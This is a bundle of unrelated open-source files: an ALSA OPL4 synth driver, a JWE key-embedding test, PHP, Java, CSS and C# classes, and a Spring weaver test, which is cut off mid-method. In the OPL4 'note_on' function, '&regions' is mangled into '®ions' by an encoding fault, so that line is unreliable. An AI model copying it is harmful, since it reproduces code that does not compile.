0x242,0x243,0x244,0x244,0x245,0x246,0x247,0x247,
0x248,0x249,0x249,0x24a,0x24b,0x24c,0x24c,0x24d,
0x24e,0x24f,0x24f,0x250,0x251,0x251,0x252,0x253,
0x254,0x254,0x255,0x256,0x257,0x257,0x258,0x259,
0x259,0x25a,0x25b,0x25c,0x25c,0x25d,0x25e,0x25f,
0x25f,0x260,0x261,0x262,0x262,0x263,0x264,0x265,
0x265,0x266,0x267,0x267,0x268,0x269,0x26a,0x26a,
0x26b,0x26c,0x26d,0x26d,0x26e,0x26f,0x270,0x270,
0x271,0x272,0x273,0x273,0x274,0x275,0x276,0x276,
0x277,0x278,0x279,0x279,0x27a,0x27b,0x27c,0x27c,
0x27d,0x27e,0x27f,0x27f,0x280,0x281,0x282,0x282,
0x283,0x284,0x285,0x285,0x286,0x287,0x288,0x288,
0x289,0x28a,0x28b,0x28b,0x28c,0x28d,0x28e,0x28e,
0x28f,0x290,0x291,0x291,0x292,0x293,0x294,0x294,
0x295,0x296,0x297,0x298,0x298,0x299,0x29a,0x29b,
0x29b,0x29c,0x29d,0x29e,0x29e,0x29f,0x2a0,0x2a1,
0x2a1,0x2a2,0x2a3,0x2a4,0x2a5,0x2a5,0x2a6,0x2a7,
0x2a8,0x2a8,0x2a9,0x2aa,0x2ab,0x2ab,0x2ac,0x2ad,
0x2ae,0x2af,0x2af,0x2b0,0x2b1,0x2b2,0x2b2,0x2b3,
0x2b4,0x2b5,0x2b5,0x2b6,0x2b7,0x2b8,0x2b9,0x2b9,
0x2ba,0x2bb,0x2bc,0x2bc,0x2bd,0x2be,0x2bf,0x2c0,
0x2c0,0x2c1,0x2c2,0x2c3,0x2c4,0x2c4,0x2c5,0x2c6,
0x2c7,0x2c7,0x2c8,0x2c9,0x2ca,0x2cb,0x2cb,0x2cc,
0x2cd,0x2ce,0x2ce,0x2cf,0x2d0,0x2d1,0x2d2,0x2d2,
0x2d3,0x2d4,0x2d5,0x2d6,0x2d6,0x2d7,0x2d8,0x2d9,
0x2da,0x2da,0x2db,0x2dc,0x2dd,0x2dd,0x2de,0x2df,
0x2e0,0x2e1,0x2e1,0x2e2,0x2e3,0x2e4,0x2e5,0x2e5,
0x2e6,0x2e7,0x2e8,0x2e9,0x2e9,0x2ea,0x2eb,0x2ec,
0x2ed,0x2ed,0x2ee,0x2ef,0x2f0,0x2f1,0x2f1,0x2f2,
0x2f3,0x2f4,0x2f5,0x2f5,0x2f6,0x2f7,0x2f8,0x2f9,
0x2f9,0x2fa,0x2fb,0x2fc,0x2fd,0x2fd,0x2fe,0x2ff,
0x300,0x301,0x302,0x302,0x303,0x304,0x305,0x306,
0x306,0x307,0x308,0x309,0x30a,0x30a,0x30b,0x30c,
0x30d,0x30e,0x30f,0x30f,0x310,0x311,0x312,0x313,
0x313,0x314,0x315,0x316,0x317,0x318,0x318,0x319,
0x31a,0x31b,0x31c,0x31c,0x31d,0x31e,0x31f,0x320,
0x321,0x321,0x322,0x323,0x324,0x325,0x326,0x326,
0x327,0x328,0x329,0x32a,0x32a,0x32b,0x32c,0x32d,
0x32e,0x32f,0x32f,0x330,0x331,0x332,0x333,0x334,
0x334,0x335,0x336,0x337,0x338,0x339,0x339,0x33a,
0x33b,0x33c,0x33d,0x33e,0x33e,0x33f,0x340,0x341,
0x342,0x343,0x343,0x344,0x345,0x346,0x347,0x348,
0x349,0x349,0x34a,0x34b,0x34c,0x34d,0x34e,0x34e,
0x34f,0x350,0x351,0x352,0x353,0x353,0x354,0x355,
0x356,0x357,0x358,0x359,0x359,0x35a,0x35b,0x35c,
0x35d,0x35e,0x35f,0x35f,0x360,0x361,0x362,0x363,
0x364,0x364,0x365,0x366,0x367,0x368,0x369,0x36a,
0x36a,0x36b,0x36c,0x36d,0x36e,0x36f,0x370,0x370,
0x371,0x372,0x373,0x374,0x375,0x376,0x377,0x377,
0x378,0x379,0x37a,0x37b,0x37c,0x37d,0x37d,0x37e,
0x37f,0x380,0x381,0x382,0x383,0x383,0x384,0x385,
0x386,0x387,0x388,0x389,0x38a,0x38a,0x38b,0x38c,
0x38d,0x38e,0x38f,0x390,0x391,0x391,0x392,0x393,
0x394,0x395,0x396,0x397,0x398,0x398,0x399,0x39a,
0x39b,0x39c,0x39d,0x39e,0x39f,0x39f,0x3a0,0x3a1,
0x3a2,0x3a3,0x3a4,0x3a5,0x3a6,0x3a7,0x3a7,0x3a8,
0x3a9,0x3aa,0x3ab,0x3ac,0x3ad,0x3ae,0x3ae,0x3af,
0x3b0,0x3b1,0x3b2,0x3b3,0x3b4,0x3b5,0x3b6,0x3b6,
0x3b7,0x3b8,0x3b9,0x3ba,0x3bb,0x3bc,0x3bd,0x3be,
0x3bf,0x3bf,0x3c0,0x3c1,0x3c2,0x3c3,0x3c4,0x3c5,
0x3c6,0x3c7,0x3c7,0x3c8,0x3c9,0x3ca,0x3cb,0x3cc,
0x3cd,0x3ce,0x3cf,0x3d0,0x3d1,0x3d1,0x3d2,0x3d3,
0x3d4,0x3d5,0x3d6,0x3d7,0x3d8,0x3d9,0x3da,0x3da,
0x3db,0x3dc,0x3dd,0x3de,0x3df,0x3e0,0x3e1,0x3e2,
0x3e3,0x3e4,0x3e4,0x3e5,0x3e6,0x3e7,0x3e8,0x3e9,
0x3ea,0x3eb,0x3ec,0x3ed,0x3ee,0x3ef,0x3ef,0x3f0,
0x3f1,0x3f2,0x3f3,0x3f4,0x3f5,0x3f6,0x3f7,0x3f8,
0x3f9,0x3fa,0x3fa,0x3fb,0x3fc,0x3fd,0x3fe,0x3ff
};
/*
* Attenuation according to GM recommendations, in -0.375 dB units.
* table[v] = 40 * log(v / 127) / -0.375
*/
static unsigned char snd_opl4_volume_table[128] = {
255,224,192,173,160,150,141,134,
128,122,117,113,109,105,102, 99,
96, 93, 90, 88, 85, 83, 81, 79,
77, 75, 73, 71, 70, 68, 67, 65,
64, 62, 61, 59, 58, 57, 56, 54,
53, 52, 51, 50, 49, 48, 47, 46,
45, 44, 43, 42, 41, 40, 39, 39,
38, 37, 36, 35, 34, 34, 33, 32,
31, 31, 30, 29, 29, 28, 27, 27,
26, 25, 25, 24, 24, 23, 22, 22,
21, 21, 20, 19, 19, 18, 18, 17,
17, 16, 16, 15, 15, 14, 14, 13,
13, 12, 12, 11, 11, 10, 10, 9,
9, 9, 8, 8, 7, 7, 6, 6,
6, 5, 5, 4, 4, 4, 3, 3,
2, 2, 2, 1, 1, 0, 0, 0
};
/*
* Initializes all voices.
*/
void snd_opl4_synth_reset(struct snd_opl4 *opl4)
{
unsigned long flags;
int i;
spin_lock_irqsave(&opl4->reg_lock, flags);
for (i = 0; i < OPL4_MAX_VOICES; i++)
snd_opl4_write(opl4, OPL4_REG_MISC + i, OPL4_DAMP_BIT);
spin_unlock_irqrestore(&opl4->reg_lock, flags);
INIT_LIST_HEAD(&opl4->off_voices);
INIT_LIST_HEAD(&opl4->on_voices);
memset(opl4->voices, 0, sizeof(opl4->voices));
for (i = 0; i < OPL4_MAX_VOICES; i++) {
opl4->voices[i].number = i;
list_add_tail(&opl4->voices[i].list, &opl4->off_voices);
}
snd_midi_channel_set_clear(opl4->chset);
}
/*
* Shuts down all voices.
*/
void snd_opl4_synth_shutdown(struct snd_opl4 *opl4)
{
unsigned long flags;
int i;
spin_lock_irqsave(&opl4->reg_lock, flags);
for (i = 0; i < OPL4_MAX_VOICES; i++)
snd_opl4_write(opl4, OPL4_REG_MISC + i,
opl4->voices[i].reg_misc & ~OPL4_KEY_ON_BIT);
spin_unlock_irqrestore(&opl4->reg_lock, flags);
}
/*
* Executes the callback for all voices playing the specified note.
*/
static void snd_opl4_do_for_note(struct snd_opl4 *opl4, int note, struct snd_midi_channel *chan,
void (*func)(struct snd_opl4 *opl4, struct opl4_voice *voice))
{
int i;
unsigned long flags;
struct opl4_voice *voice;
spin_lock_irqsave(&opl4->reg_lock, flags);
for (i = 0; i < OPL4_MAX_VOICES; i++) {
voice = &opl4->voices[i];
if (voice->chan == chan && voice->note == note) {
func(opl4, voice);
}
}
spin_unlock_irqrestore(&opl4->reg_lock, flags);
}
/*
* Executes the callback for all voices of to the specified channel.
*/
static void snd_opl4_do_for_channel(struct snd_opl4 *opl4,
struct snd_midi_channel *chan,
void (*func)(struct snd_opl4 *opl4, struct opl4_voice *voice))
{
int i;
unsigned long flags;
struct opl4_voice *voice;
spin_lock_irqsave(&opl4->reg_lock, flags);
for (i = 0; i < OPL4_MAX_VOICES; i++) {
voice = &opl4->voices[i];
if (voice->chan == chan) {
func(opl4, voice);
}
}
spin_unlock_irqrestore(&opl4->reg_lock, flags);
}
/*
* Executes the callback for all active voices.
*/
static void snd_opl4_do_for_all(struct snd_opl4 *opl4,
void (*func)(struct snd_opl4 *opl4, struct opl4_voice *voice))
{
int i;
unsigned long flags;
struct opl4_voice *voice;
spin_lock_irqsave(&opl4->reg_lock, flags);
for (i = 0; i < OPL4_MAX_VOICES; i++) {
voice = &opl4->voices[i];
if (voice->chan)
func(opl4, voice);
}
spin_unlock_irqrestore(&opl4->reg_lock, flags);
}
static void snd_opl4_update_volume(struct snd_opl4 *opl4, struct opl4_voice *voice)
{
int att;
att = voice->sound->tone_attenuate;
att += snd_opl4_volume_table[opl4->chset->gs_master_volume & 0x7f];
att += snd_opl4_volume_table[voice->chan->gm_volume & 0x7f];
att += snd_opl4_volume_table[voice->chan->gm_expression & 0x7f];
att += snd_opl4_volume_table[voice->velocity];
att = 0x7f - (0x7f - att) * (voice->sound->volume_factor) / 0xfe - volume_boost;
if (att < 0)
att = 0;
else if (att > 0x7e)
att = 0x7e;
snd_opl4_write(opl4, OPL4_REG_LEVEL + voice->number,
(att << 1) | voice->level_direct);
voice->level_direct = 0;
}
static void snd_opl4_update_pan(struct snd_opl4 *opl4, struct opl4_voice *voice)
{
int pan = voice->sound->panpot;
if (!voice->chan->drum_channel)
pan += (voice->chan->control[MIDI_CTL_MSB_PAN] - 0x40) >> 3;
if (pan < -7)
pan = -7;
else if (pan > 7)
pan = 7;
voice->reg_misc = (voice->reg_misc & ~OPL4_PAN_POT_MASK)
| (pan & OPL4_PAN_POT_MASK);
snd_opl4_write(opl4, OPL4_REG_MISC + voice->number, voice->reg_misc);
}
static void snd_opl4_update_vibrato_depth(struct snd_opl4 *opl4,
struct opl4_voice *voice)
{
int depth;
if (voice->chan->drum_channel)
return;
depth = (7 - voice->sound->vibrato)
* (voice->chan->control[MIDI_CTL_VIBRATO_DEPTH] & 0x7f);
depth = (depth >> 7) + voice->sound->vibrato;
voice->reg_lfo_vibrato &= ~OPL4_VIBRATO_DEPTH_MASK;
voice->reg_lfo_vibrato |= depth & OPL4_VIBRATO_DEPTH_MASK;
snd_opl4_write(opl4, OPL4_REG_LFO_VIBRATO + voice->number,
voice->reg_lfo_vibrato);
}
static void snd_opl4_update_pitch(struct snd_opl4 *opl4,
struct opl4_voice *voice)
{
struct snd_midi_channel *chan = voice->chan;
int note, pitch, octave;
note = chan->drum_channel ? 60 : voice->note;
/*
* pitch is in 100/128 cents, so 0x80 is one semitone and
* 0x600 is one octave.
*/
pitch = ((note - 60) << 7) * voice->sound->key_scaling / 100 + (60 << 7);
pitch += voice->sound->pitch_offset;
if (!chan->drum_channel)
pitch += chan->gm_rpn_coarse_tuning;
pitch += chan->gm_rpn_fine_tuning >> 7;
pitch += chan->midi_pitchbend * chan->gm_rpn_pitch_bend_range / 0x2000;
if (pitch < 0)
pitch = 0;
else if (pitch >= 0x6000)
pitch = 0x5fff;
octave = pitch / 0x600 - 8;
pitch = snd_opl4_pitch_map[pitch % 0x600];
snd_opl4_write(opl4, OPL4_REG_OCTAVE + voice->number,
(octave << 4) | ((pitch >> 7) & OPL4_F_NUMBER_HIGH_MASK));
voice->reg_f_number = (voice->reg_f_number & OPL4_TONE_NUMBER_BIT8)
| ((pitch << 1) & OPL4_F_NUMBER_LOW_MASK);
snd_opl4_write(opl4, OPL4_REG_F_NUMBER + voice->number, voice->reg_f_number);
}
static void snd_opl4_update_tone_parameters(struct snd_opl4 *opl4,
struct opl4_voice *voice)
{
snd_opl4_write(opl4, OPL4_REG_ATTACK_DECAY1 + voice->number,
voice->sound->reg_attack_decay1);
snd_opl4_write(opl4, OPL4_REG_LEVEL_DECAY2 + voice->number,
voice->sound->reg_level_decay2);
snd_opl4_write(opl4, OPL4_REG_RELEASE_CORRECTION + voice->number,
voice->sound->reg_release_correction);
snd_opl4_write(opl4, OPL4_REG_TREMOLO + voice->number,
voice->sound->reg_tremolo);
}
/* allocate one voice */
static struct opl4_voice *snd_opl4_get_voice(struct snd_opl4 *opl4)
{
/* first, try to get the oldest key-off voice */
if (!list_empty(&opl4->off_voices))
return list_entry(opl4->off_voices.next, struct opl4_voice, list);
/* then get the oldest key-on voice */
snd_BUG_ON(list_empty(&opl4->on_voices));
return list_entry(opl4->on_voices.next, struct opl4_voice, list);
}
static void snd_opl4_wait_for_wave_headers(struct snd_opl4 *opl4)
{
int timeout = 200;
while ((inb(opl4->fm_port) & OPL4_STATUS_LOAD) && --timeout > 0)
udelay(10);
}
void snd_opl4_note_on(void *private_data, int note, int vel, struct snd_midi_channel *chan)
{
struct snd_opl4 *opl4 = private_data;
const struct opl4_region_ptr *regions;
struct opl4_voice *voice[2];
const struct opl4_sound *sound[2];
int voices = 0, i;
unsigned long flags;
/* determine the number of voices and voice parameters */
i = chan->drum_channel ? 0x80 : (chan->midi_program & 0x7f);
regions = &snd_yrw801_regions[i];
for (i = 0; i < regions->count; i++) {
if (note >= regions->regions[i].key_min &&
note <= regions->regions[i].key_max) {
sound[voices] = ®ions->regions[i].sound;
if (++voices >= 2)
break;
}
}
/* allocate and initialize the needed voices */
spin_lock_irqsave(&opl4->reg_lock, flags);
for (i = 0; i < voices; i++) {
voice[i] = snd_opl4_get_voice(opl4);
list_move_tail(&voice[i]->list, &opl4->on_voices);
voice[i]->chan = chan;
voice[i]->note = note;
voice[i]->velocity = vel & 0x7f;
voice[i]->sound = sound[i];
}
/* set tone number (triggers header loading) */
for (i = 0; i < voices; i++) {
voice[i]->reg_f_number =
(sound[i]->tone >> 8) & OPL4_TONE_NUMBER_BIT8;
snd_opl4_write(opl4, OPL4_REG_F_NUMBER + voice[i]->number,
voice[i]->reg_f_number);
snd_opl4_write(opl4, OPL4_REG_TONE_NUMBER + voice[i]->number,
sound[i]->tone & 0xff);
}
/* set parameters which can be set while loading */
for (i = 0; i < voices; i++) {
voice[i]->reg_misc = OPL4_LFO_RESET_BIT;
snd_opl4_update_pan(opl4, voice[i]);
snd_opl4_update_pitch(opl4, voice[i]);
voice[i]->level_direct = OPL4_LEVEL_DIRECT_BIT;
snd_opl4_update_volume(opl4, voice[i]);
}
spin_unlock_irqrestore(&opl4->reg_lock, flags);
/* wait for completion of loading */
snd_opl4_wait_for_wave_headers(opl4);
/* set remaining parameters */
spin_lock_irqsave(&opl4->reg_lock, flags);
for (i = 0; i < voices; i++) {
snd_opl4_update_tone_parameters(opl4, voice[i]);
voice[i]->reg_lfo_vibrato = voice[i]->sound->reg_lfo_vibrato;
snd_opl4_update_vibrato_depth(opl4, voice[i]);
}
/* finally, switch on all voices */
for (i = 0; i < voices; i++) {
voice[i]->reg_misc =
(voice[i]->reg_misc & 0x1f) | OPL4_KEY_ON_BIT;
snd_opl4_write(opl4, OPL4_REG_MISC + voice[i]->number,
voice[i]->reg_misc);
}
spin_unlock_irqrestore(&opl4->reg_lock, flags);
}
static void snd_opl4_voice_off(struct snd_opl4 *opl4, struct opl4_voice *voice)
{
list_move_tail(&voice->list, &opl4->off_voices);
voice->reg_misc &= ~OPL4_KEY_ON_BIT;
snd_opl4_write(opl4, OPL4_REG_MISC + voice->number, voice->reg_misc);
}
void snd_opl4_note_off(void *private_data, int note, int vel, struct snd_midi_channel *chan)
{
struct snd_opl4 *opl4 = private_data;
snd_opl4_do_for_note(opl4, note, chan, snd_opl4_voice_off);
}
static void snd_opl4_terminate_voice(struct snd_opl4 *opl4, struct opl4_voice *voice)
{
list_move_tail(&voice->list, &opl4->off_voices);
voice->reg_misc = (voice->reg_misc & ~OPL4_KEY_ON_BIT) | OPL4_DAMP_BIT;
snd_opl4_write(opl4, OPL4_REG_MISC + voice->number, voice->reg_misc);
}
void snd_opl4_terminate_note(void *private_data, int note, struct snd_midi_channel *chan)
{
struct snd_opl4 *opl4 = private_data;
snd_opl4_do_for_note(opl4, note, chan, snd_opl4_terminate_voice);
}
void snd_opl4_control(void *private_data, int type, struct snd_midi_channel *chan)
{
struct snd_opl4 *opl4 = private_data;
switch (type) {
case MIDI_CTL_MSB_MODWHEEL:
chan->control[MIDI_CTL_VIBRATO_DEPTH] = chan->control[MIDI_CTL_MSB_MODWHEEL];
snd_opl4_do_for_channel(opl4, chan, snd_opl4_update_vibrato_depth);
break;
case MIDI_CTL_MSB_MAIN_VOLUME:
snd_opl4_do_for_channel(opl4, chan, snd_opl4_update_volume);
break;
case MIDI_CTL_MSB_PAN:
snd_opl4_do_for_channel(opl4, chan, snd_opl4_update_pan);
break;
case MIDI_CTL_MSB_EXPRESSION:
snd_opl4_do_for_channel(opl4, chan, snd_opl4_update_volume);
break;
case MIDI_CTL_VIBRATO_RATE:
/* not yet supported */
break;
case MIDI_CTL_VIBRATO_DEPTH:
snd_opl4_do_for_channel(opl4, chan, snd_opl4_update_vibrato_depth);
break;
case MIDI_CTL_VIBRATO_DELAY:
/* not yet supported */
break;
case MIDI_CTL_E1_REVERB_DEPTH:
/*
* Each OPL4 voice has a bit called "Pseudo-Reverb", but
* IMHO _not_ using it enhances the listening experience.
*/
break;
case MIDI_CTL_PITCHBEND:
snd_opl4_do_for_channel(opl4, chan, snd_opl4_update_pitch);
break;
}
}
void snd_opl4_sysex(void *private_data, unsigned char *buf, int len,
int parsed, struct snd_midi_channel_set *chset)
{
struct snd_opl4 *opl4 = private_data;
if (parsed == SNDRV_MIDI_SYSEX_GS_MASTER_VOLUME)
snd_opl4_do_for_all(opl4, snd_opl4_update_volume);
}
|
{
"pile_set_name": "Github"
}
|
/*!
*
* Copyright (c) 2016 Cisco Systems, Inc. See LICENSE file.
*/
"use strict";
var chai = require("chai");
var JWK = require("../../lib/jwk");
var JWE = require("../../lib/jwe");
var assert = chai.assert;
describe("jwe/embedded", function() {
var keys = {
"oct": {
"kty": "oct",
"kid": "BBbx9f-quvmBp5gHzO1LA1r3Fm7MsXwQovuLoIq4Des",
"k": "rmY1vk9qj34HAYWSc2aQJg"
}
// TODO: RSA and EC key tests
}
before(function() {
var all = Object.keys(keys);
all = all.map(function(t) {
return JWK.asKey(keys[t]).
then(function(jwk) {
keys[t] = jwk;
});
});
return Promise.all(all);
});
describe("oct", function() {
it("failed to embed a symmetric key", function() {
var badKey = keys.oct;
var opts = {
format: "general",
protect: false
};
var jwe = JWE.createEncrypt(opts, {
key: badKey,
reference: "jwk"
});
jwe.update("You shall not pass!", "utf8");
var p = jwe.final();
p = p.then(function() {
assert.ok(false, "unexpected success");
}, function(err) {
assert.instanceOf(err, Error);
assert.equal(err.message, "cannot embed key");
});
return p;
});
});
});
|
{
"pile_set_name": "Github"
}
|
<h2>Full example</h2>
<pre><code>{
"data": {
"labels": [
"foo",
"bar"
],
"series": [
[ 0, 1, 2, 3 ],
[ 0, -4, -8, -12 ]
]
},
// we even support comments
"error": null,
"status": "Ok"
}</code></pre>
|
{
"pile_set_name": "Github"
}
|
<?php
/***********************************************************************************
* X2Engine Open Source Edition is a customer relationship management program developed by
* X2 Engine, Inc. Copyright (C) 2011-2019 X2 Engine Inc.
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU Affero General Public License version 3 as published by the
* Free Software Foundation with the addition of the following permission added
* to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK
* IN WHICH THE COPYRIGHT IS OWNED BY X2ENGINE, X2ENGINE DISCLAIMS THE WARRANTY
* OF NON INFRINGEMENT OF THIRD PARTY RIGHTS.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
* details.
*
* You should have received a copy of the GNU Affero General Public License along with
* this program; if not, see http://www.gnu.org/licenses or write to the Free
* Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301 USA.
*
* You can contact X2Engine, Inc. P.O. Box 610121, Redwood City,
* California 94061, USA. or at email address contact@x2engine.com.
*
* The interactive user interfaces in modified source and object code versions
* of this program must display Appropriate Legal Notices, as required under
* Section 5 of the GNU Affero General Public License version 3.
*
* In accordance with Section 7(b) of the GNU Affero General Public License version 3,
* these Appropriate Legal Notices must retain the display of the "Powered by
* X2 Engine" logo. If the display of the logo is not reasonably feasible for
* technical reasons, the Appropriate Legal Notices must display the words
* "Powered by X2 Engine".
**********************************************************************************/
/**
* X2FlowAction that adds, removes or clears all tags on a record
*
* @package application.components.x2flow.actions
*/
class X2FlowRecordTag extends X2FlowAction {
/**
* Fields
*/
public $title = 'Edit Tags';
public $info = 'Adds, removes, or clears tags to associated record. Enter a comma-separated list of tags';
/**
* Parameter rules
*
* @return array
*/
public function paramRules() {
$tagActions = array(
'add' => Yii::t('studio', 'Add'),
'remove' => Yii::t('studio', 'Remove'),
'clear' => Yii::t('studio', 'Clear All'),
);
return array_merge(parent::paramRules(), array(
'title' => Yii::t('studio', $this->title),
'info' => Yii::t('studio', $this->info),
'modelRequired' => 1,
'options' => array(
array(
'name' => 'action',
'label' => Yii::t('studio', 'Action'),
'type' => 'dropdown',
'options' => $tagActions
),
array(
'name' => 'tags',
'label' => Yii::t('studio', 'Tags (Optional)'),
'type' => 'tags',
'optional' => true
)
)));
}
/**
* Execute action
*
* @param array $params
* @param array $triggerLogId
* @return type
*/
public function execute(&$params) {
// Gets tags
$tags = $this->parseOption('tags', $params);
// Does tag action
$retVal = null;
$model = $params['model'];
switch ($this->parseOption('action', $params)) {
case 'add':
$retVal = $model->addTags($tags);
break;
case 'remove':
$retVal = $model->removeTags($tags);
break;
case 'clear':
$retVal = $model->clearTags();
break;
}
// Checks if action was successful
if ($retVal) {
// Checks if subclass of X2Model
if (is_subclass_of($model, 'X2Model')) {
return array(
true,
Yii::t('studio', 'View updated record: ') . $model->getLink()
);
} else {
return array(true, "");
}
} else {
return array(false, "");
}
}
}
|
{
"pile_set_name": "Github"
}
|
package com.oath.cyclops.jackson.deserializers;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.DeserializationContext;
import com.fasterxml.jackson.databind.JavaType;
import com.fasterxml.jackson.databind.JsonDeserializer;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.deser.ResolvableDeserializer;
import com.fasterxml.jackson.databind.deser.ValueInstantiator;
import com.fasterxml.jackson.databind.deser.std.ReferenceTypeDeserializer;
import com.fasterxml.jackson.databind.deser.std.StdDeserializer;
import com.fasterxml.jackson.databind.jsontype.TypeDeserializer;
import cyclops.control.Option;
import java.io.IOException;
final class OptionDeserializer extends StdDeserializer<Option<?>> implements ResolvableDeserializer {
JavaType valueType;
private JsonDeserializer<Object> deser;
protected OptionDeserializer(JavaType valueType) {
super(valueType);
this.valueType = valueType;
}
@Override
public Object deserializeWithType(JsonParser p, DeserializationContext ctxt, TypeDeserializer typeDeserializer) throws IOException {
return super.deserializeWithType(p, ctxt, typeDeserializer);
}
@Override
public Option<?> deserialize(JsonParser p, DeserializationContext ctxt) throws IOException, JsonProcessingException {
return Option.some(deser.deserialize(p,ctxt));
}
@Override
public void resolve(DeserializationContext ctxt) throws JsonMappingException {
if (valueType.isContainerType()) {
deser = ctxt.findRootValueDeserializer(valueType.getContentType());
}else{
deser = ctxt.findRootValueDeserializer(valueType.containedTypeOrUnknown(0));
}
}
@Override
public Option<?> getNullValue(DeserializationContext ctxt) {
return Option.none();
}
}
|
{
"pile_set_name": "Github"
}
|
/* Base16 Atelier Lakeside Light - Theme */
/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/lakeside) */
/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
/* Atelier-Lakeside Comment */
.hljs-comment,
.hljs-quote {
color: #5a7b8c;
}
/* Atelier-Lakeside Red */
.hljs-variable,
.hljs-template-variable,
.hljs-attribute,
.hljs-tag,
.hljs-name,
.hljs-regexp,
.hljs-link,
.hljs-name,
.hljs-selector-id,
.hljs-selector-class {
color: #d22d72;
}
/* Atelier-Lakeside Orange */
.hljs-number,
.hljs-meta,
.hljs-built_in,
.hljs-builtin-name,
.hljs-literal,
.hljs-type,
.hljs-params {
color: #935c25;
}
/* Atelier-Lakeside Green */
.hljs-string,
.hljs-symbol,
.hljs-bullet {
color: #568c3b;
}
/* Atelier-Lakeside Blue */
.hljs-title,
.hljs-section {
color: #257fad;
}
/* Atelier-Lakeside Purple */
.hljs-keyword,
.hljs-selector-tag {
color: #6b6bb8;
}
.hljs {
display: block;
overflow-x: auto;
background: #ebf8ff;
color: #516d7b;
padding: 0.5em;
}
.hljs-emphasis {
font-style: italic;
}
.hljs-strong {
font-weight: bold;
}
|
{
"pile_set_name": "Github"
}
|
using System.Text.Json.Serialization;
namespace Essensoft.AspNetCore.Payment.Alipay.Response
{
/// <summary>
/// AlipayFinanceFundFundquotationQueryResponse.
/// </summary>
public class AlipayFinanceFundFundquotationQueryResponse : AlipayResponse
{
/// <summary>
/// 近半年收益:基金产品近半年内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_half_year")]
public string LastHalfYear { get; set; }
/// <summary>
/// 近一月收益率:基金产品近一月内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_month")]
public string LastMonth { get; set; }
/// <summary>
/// 近三月收益:基金产品近三月内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_quarter")]
public string LastQuarter { get; set; }
/// <summary>
/// 近一周收益率:基金产品近一周内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_week")]
public string LastWeek { get; set; }
/// <summary>
/// 近一年收益率:基金产品近一年内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_year")]
public string LastYear { get; set; }
/// <summary>
/// 发布日期:产品收益率发布的时间
/// </summary>
[JsonPropertyName("report_date")]
public string ReportDate { get; set; }
/// <summary>
/// 成立以来收益率:基金产品成立以来收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("since_establishment")]
public string SinceEstablishment { get; set; }
/// <summary>
/// 今年以来收益率:基金产品今年以来收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("this_year")]
public string ThisYear { get; set; }
/// <summary>
/// 三年内收益率:基金产品三年内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("yield_3_year")]
public string Yield3Year { get; set; }
/// <summary>
/// 近五年收益率:基金产品近五年内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("yield_5_year")]
public string Yield5Year { get; set; }
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\Config\Definition;
use Symfony\Component\Config\Definition\Exception\InvalidConfigurationException;
/**
* Node which only allows a finite set of values.
*
* @author Johannes M. Schmitt <schmittjoh@gmail.com>
*/
class EnumNode extends ScalarNode
{
private $values;
public function __construct($name, NodeInterface $parent = null, array $values = array())
{
$values = array_unique($values);
if (empty($values)) {
throw new \InvalidArgumentException('$values must contain at least one element.');
}
parent::__construct($name, $parent);
$this->values = $values;
}
public function getValues()
{
return $this->values;
}
protected function finalizeValue($value)
{
$value = parent::finalizeValue($value);
if (!\in_array($value, $this->values, true)) {
$ex = new InvalidConfigurationException(sprintf('The value %s is not allowed for path "%s". Permissible values: %s', json_encode($value), $this->getPath(), implode(', ', array_map('json_encode', $this->values))));
$ex->setPath($this->getPath());
throw $ex;
}
return $value;
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2002-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.instrument.classloading;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import org.junit.jupiter.api.Test;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatIllegalArgumentException;
import static org.assertj.core.api.Assertions.assertThatIllegalStateException;
/**
* Unit tests for the {@link ReflectiveLoadTimeWeaver} class.
*
* @author Rick Evans
* @author Chris Beams
*/
public class ReflectiveLoadTimeWeaverTests {
@Test
public void testCtorWithNullClassLoader() {
assertThatIllegalArgumentException().isThrownBy(() ->
new ReflectiveLoadTimeWeaver(null));
}
@Test
public void testCtorWithClassLoaderThatDoesNotExposeAnAddTransformerMethod() {
assertThatIllegalStateException().isThrownBy(() ->
new ReflectiveLoadTimeWeaver(getClass().getClassLoader()));
}
@Test
public void testCtorWithClassLoaderThatDoesNotExposeAGetThrowawayClassLoaderMethodIsOkay() {
JustAddTransformerClassLoader classLoader = new JustAddTransformerClassLoader();
ReflectiveLoadTimeWeaver weaver = new ReflectiveLoadTimeWeaver(classLoader);
weaver.addTransformer(new ClassFileTransformer() {
@Override
